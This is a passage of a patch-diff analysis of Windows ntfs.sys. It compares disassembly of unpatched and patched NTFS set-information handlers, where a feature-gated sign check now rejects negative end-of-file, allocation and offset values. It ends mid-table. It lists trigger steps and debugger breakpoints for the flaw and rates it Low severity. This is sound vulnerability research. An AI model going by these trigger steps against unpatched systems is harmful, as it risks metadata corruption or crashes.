&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;v61&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;CurrentByteOffset&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;QuadPart&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_QWORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;v40&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;24&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// no validation&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;hr&gt;
&lt;h2&gt;4. Assembly Analysis&lt;/h2&gt;
&lt;h3&gt;&lt;code&gt;NtfsSetEndOfFileInfo&lt;/code&gt; — load of the user value (identical in both builds)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;; unpatched @ 0x1C00E8EE0 / patched @ 0x1C00E8EB0&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00E8FEF&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;18&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="c1"&gt;; rcx = Irp-&amp;gt;AssociatedIrp.SystemBuffer   (unpatched addr)&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00E8FFB&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="c1"&gt;; rdi = FILE_END_OF_FILE_INFORMATION.EndOfFile&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;Unpatched — the only bound is a signed maximum check&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00E9083&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="no"&gt;E90h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;; rax-&amp;gt;+0x1E90 (7824) = maximum file size&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00E908A&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jg&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;loc_1C00EA058&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;; signed &amp;#39;greater&amp;#39; — a negative EndOfFile is NOT rejected&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00E90B2&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="c1"&gt;; rax = current allocation size ([rbx+20h])&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00E90B5&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jl&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;loc_1C00E9CAC&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;; signed &amp;#39;less&amp;#39;&lt;/span&gt;
&lt;span class="na"&gt;...&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00E920F&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="c1"&gt;; negative value committed as the file size&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;There is no &lt;code&gt;test rdi, rdi; jns&lt;/code&gt; (or equivalent &lt;code&gt;&amp;gt;= 0&lt;/code&gt;) guard anywhere before these uses.&lt;/p&gt;
&lt;h3&gt;Patched — the added feature-gated sign check&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00E8FD6&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;NtfsUpdateScbFromAttribute&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00E8FDB&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;18&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                             &lt;/span&gt;&lt;span class="c1"&gt;; SystemBuffer&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00E8FDF&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;208&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;var_68&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00E8FE7&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                                 &lt;/span&gt;&lt;span class="c1"&gt;; EndOfFile value&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00E8FEA&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;208&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;var_1A5&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00E8FEF&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;Feature_2681941305__private_IsEnabledDeviceUsage&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00E8FF4&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;208&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;var_F8&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00E8FFB&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00E8FFD&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_1C00E9042&lt;/span&gt;&lt;span class="w"&gt;                        &lt;/span&gt;&lt;span class="c1"&gt;; flag off -&amp;gt; skip check (old behavior)&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00E8FFF&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00E9002&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jns&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_1C00E9042&lt;/span&gt;&lt;span class="w"&gt;                        &lt;/span&gt;&lt;span class="c1"&gt;; non-negative -&amp;gt; proceed&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00E9004&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="no"&gt;NtfsStatusDebugFlags&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00E900B&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;al&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00E900D&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_1C00E9021&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00E900F&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="no"&gt;C000000Dh&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00E9014&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;xor&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;ecx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ecx&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00E9016&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r8d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="no"&gt;F3C90h&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00E901C&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;NtfsStatusTraceAndDebugInternal&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00E9021&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_1C00E9037&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00E9028&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;208&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;var_160&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00E9030&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;_local_unwind_0&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00E9037&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="no"&gt;C000000Dh&lt;/span&gt;&lt;span class="w"&gt;                            &lt;/span&gt;&lt;span class="c1"&gt;; STATUS_INVALID_PARAMETER&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00E903C&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;loc_1C00EA748&lt;/span&gt;&lt;span class="w"&gt;                              &lt;/span&gt;&lt;span class="c1"&gt;; return&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00E9042&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                             &lt;/span&gt;&lt;span class="c1"&gt;; normal path continues&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;The feature gate&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;Feature_2681941305__private_IsEnabledDeviceUsage&lt;/code&gt; @ &lt;code&gt;0x1C0034380&lt;/code&gt; (patched) is a Windows Feature Staging (WIL) gate. It reads the cached &lt;code&gt;Feature_2681941305__private_featureState&lt;/code&gt;; if bit 4 (&lt;code&gt;0x10&lt;/code&gt;) is set it returns bit 0, otherwise it calls &lt;code&gt;Feature_2681941305__private_IsEnabledFallback&lt;/code&gt; → &lt;code&gt;wil_details_IsEnabledFallback&lt;/code&gt;. The feature is new to the patched build (it has no references in the unpatched binary). Its runtime default cannot be determined from the static image.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;What&lt;/th&gt;
&lt;th&gt;Unpatched&lt;/th&gt;
&lt;th&gt;Patched&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Load value from &lt;code&gt;SystemBuffer[0]&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;mov rdi, [rcx]&lt;/code&gt; @ &lt;code&gt;0x1C00E8FFB&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;mov rdi, [rsi]&lt;/code&gt; @ &lt;code&gt;0x1C00E8FE7&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Lower-bound (&lt;code&gt;&amp;gt;= 0&lt;/code&gt;) check&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;None&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;test rdi, rdi; jns&lt;/code&gt; after feature gate&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Upper-bound check&lt;/td&gt;
&lt;td&gt;Signed &lt;code&gt;cmp; jg&lt;/code&gt; against max file size&lt;/td&gt;
&lt;td&gt;Same&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Reject action&lt;/td&gt;
&lt;td&gt;N/A&lt;/td&gt;
&lt;td&gt;&lt;code&gt;STATUS_INVALID_PARAMETER&lt;/code&gt; (&lt;code&gt;0xC000000D&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr&gt;
&lt;h2&gt;5. Trigger Conditions&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Open a file on an NTFS volume&lt;/strong&gt; with an access mask sufficient for the target information class (for &lt;code&gt;FileEndOfFileInformation&lt;/code&gt; / &lt;code&gt;FileAllocationInformation&lt;/code&gt;, write access such as &lt;code&gt;FILE_WRITE_DATA&lt;/code&gt;; &lt;code&gt;SetEndOfFile&lt;/code&gt; on a normally-opened writable file is enough). Any local user can do this on a file they create.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Build the information buffer&lt;/strong&gt; for the class:&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;FILE_END_OF_FILE_INFORMATION&lt;/code&gt; — a single &lt;code&gt;LARGE_INTEGER EndOfFile&lt;/code&gt;. Set it negative (bit 63 set), e.g. &lt;code&gt;0xFFFFFFFFFFFFFFFF&lt;/code&gt; or &lt;code&gt;0x8000000000000000&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;FILE_ALLOCATION_INFORMATION&lt;/code&gt; — a single &lt;code&gt;LARGE_INTEGER AllocationSize&lt;/code&gt;, set negative.&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;FILE_POSITION_INFORMATION&lt;/code&gt; — a single &lt;code&gt;LARGE_INTEGER CurrentByteOffset&lt;/code&gt;, set negative.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Call &lt;code&gt;NtSetInformationFile&lt;/code&gt;&lt;/strong&gt; (or the Win32 &lt;code&gt;SetEndOfFile&lt;/code&gt; / &lt;code&gt;SetFileInformationByHandle&lt;/code&gt;) with the matching &lt;code&gt;FileInformationClass&lt;/code&gt; (20, 19, or 14). The I/O manager copies the buffer into &lt;code&gt;Irp-&amp;gt;AssociatedIrp.SystemBuffer&lt;/code&gt; and issues &lt;code&gt;IRP_MJ_SET_INFORMATION&lt;/code&gt;, which &lt;code&gt;NtfsCommonSetInformation&lt;/code&gt; dispatches to the handler above.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Observable difference:&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;Unpatched: the negative value passes the signed max/current-size comparisons and is committed to the file's size or position fields.&lt;/li&gt;
&lt;li&gt;Patched (feature flag enabled): the call returns &lt;code&gt;STATUS_INVALID_PARAMETER&lt;/code&gt; (&lt;code&gt;0xC000000D&lt;/code&gt;) and nothing is committed.&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h2&gt;6. Impact Assessment&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;What is demonstrable from the binaries:&lt;/strong&gt; the pre-patch handlers accept a negative, attacker-supplied 64-bit end-of-file, allocation size, or byte offset and commit it to NTFS size/position bookkeeping (e.g. the SCB allocation-size field at &lt;code&gt;[SCB+0x20]&lt;/code&gt;, or &lt;code&gt;FileObject-&amp;gt;CurrentByteOffset&lt;/code&gt;). The only guard present in the unpatched code is a signed upper-bound comparison, which a negative value trivially passes; there is no lower-bound (&lt;code&gt;&amp;gt;= 0&lt;/code&gt;) check.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What is not demonstrable:&lt;/strong&gt; the diff does not show a concrete out-of-bounds read or write, an information leak, or a privilege-escalation primitive inside these functions. A negative value stored where a non-negative size is expected can be reinterpreted as a very large unsigned quantity by downstream size arithmetic (cache-manager, MDL, or zeroing paths), which is a plausible route to file-metadata corruption or a bugcheck (denial of service). None of those downstream faults are proven by this diff, so no memory-corruption or LPE claim is made here.&lt;/p&gt;
&lt;p&gt;Because the fix is gated behind a WIL feature flag whose default state is not visible in the static image, the correction is a &lt;strong&gt;staged rollout&lt;/strong&gt;: on builds where the flag is disabled, the pre-patch behavior is retained.&lt;/p&gt;
&lt;p&gt;Reachability is broad (local, low privilege: any user who can set the corresponding information class on a file they own), but the demonstrable consequence is limited to committing an invalid negative size/offset. Severity is therefore assessed &lt;strong&gt;Low&lt;/strong&gt;.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;7. Debugger Notes&lt;/h2&gt;
&lt;p&gt;Addresses below are preferred virtual addresses at image base &lt;code&gt;0x1C0000000&lt;/code&gt;; rebase against the loaded &lt;code&gt;ntfs.sys&lt;/code&gt; (&lt;code&gt;lm vm ntfs&lt;/code&gt;) at runtime.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Location&lt;/th&gt;
&lt;th&gt;Instruction&lt;/th&gt;
&lt;th&gt;Purpose&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;NtfsSetEndOfFileInfo&lt;/code&gt; entry &lt;code&gt;0x1C00E8EE0&lt;/code&gt; (unpatched)&lt;/td&gt;
&lt;td&gt;prologue&lt;/td&gt;
&lt;td&gt;&lt;code&gt;r8&lt;/code&gt; = IRP, &lt;code&gt;r9&lt;/code&gt; = SCB&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x1C00E8FEF&lt;/code&gt; (unpatched)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;mov rcx, [rdi+18h]&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;rcx&lt;/code&gt; = &lt;code&gt;Irp-&amp;gt;AssociatedIrp.SystemBuffer&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x1C00E8FFB&lt;/code&gt; (unpatched)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;mov rdi, [rcx]&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;rdi&lt;/code&gt; = the user &lt;code&gt;EndOfFile&lt;/code&gt; value; inspect its sign&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x1C00E9083&lt;/code&gt; (unpatched)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;cmp rdi, [rax+1E90h]; jg&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;signed maximum check; a negative &lt;code&gt;rdi&lt;/code&gt; is not rejected&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x1C00E920F&lt;/code&gt; (unpatched)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;mov [rbx+20h], rdi&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;the value is committed as the file size&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
